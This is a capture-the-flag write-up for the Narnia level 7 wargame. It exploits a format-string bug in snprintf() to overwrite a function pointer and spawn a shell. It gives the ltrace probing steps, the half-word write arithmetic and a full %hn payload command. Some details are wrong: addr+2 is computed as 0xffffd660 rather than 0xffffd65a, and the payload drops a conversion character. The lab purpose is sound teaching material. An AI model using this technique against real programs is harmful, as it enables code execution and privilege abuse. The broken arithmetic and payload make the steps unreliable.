Format Specifiers again!

14 Dec 2018

This article is going to revisit Format Specifier Buffer Exploit. Is there a nice,efficient way to use format specifiers to write data at a particular location? Apparently, there is! Replacing your address Higher Order Bytes(HOB), Lower Order Bytes(LOB) and address in the above formula, we can write what value we would like to, in the address we want to. Now for some practice! SSH into narnia7 with password obtained from here.

  • Snap of /narnia/narnia7.c
  • What is the vulnerability?
  • Commandline argument argv[1] is passed to vuln() funtion. snprintf() is called with the commandline argument.

            
            exit(vuln(argv[1]));
    
            snprintf(buffer,sizeof buffer,format);
          
          

    In the code you can see, ptrf is a function pointer pointing to goodfunction(). It needs to point to hackedfunction(), which will open a shell.

  • Exploitation Steps:
    1. Run the executable /narnia/narnia7 in ltrace with dummy argument AAAA and lots of %p 's.
    2. Snap:
    3. All information we need is printed!
      We can see in the arguments of snprintf that 0x41414141 is repeated 2 arguments after the original argument with lots of addresses.
      So we can see that the offset of stack is 2.(can vary for you!)
      Address of ptrf is printed as 0xffffd658 and address of hackedfunction is printed as 0x8048724.
      Our payload should be such that 0xffffd658 should be overwritten with this value. As per the formula above, addr = 0xffffd658
      addr+2= 0xffffd660
      HOB=0x0804
      LOB=0x8724
      LOB > HOB
      HOB - 8 = 0x0804(decimal - 2052)-8 = 2044(decimal) LOB - HOB =0x8724-0x0804 =0x7f20=32544 offset =2 offset +1 =3
    4. Now construct the payload and run the program.
    5.         
              /narnia/narnia7 $(python -c "print '\x60\xd6\xff\xff\x58\xd6\xff\xff'")%.2044x%2\&hn%.32544%3\&hn
            
            
      Snap:
    6. You can see that the address of ptrf is now different to one printed initially. Since we used a longer buffer than in the previous example in the format string, the stack moved. Change the addresses of addr, addr+2 in the payload and try again
    7. Now, the shell prompt is displayed and you can cat the password for the next level.
    8. Snap:

  • Behind the scenes explanation:
  • This is a more precise way to write into memory location by splitting the data to be written into 2 bytes - Higher order and lower order. This also works on systems that don't support writing Bigger amount of memory directly. So we simply write it separately twice limiting maximum length to 2 bytes each time and maximum data written to a max of 65535. Otherwise this modus operandi is similar to what we did in Narnia Level 5. For a more in depth explanation, Do checkout this link here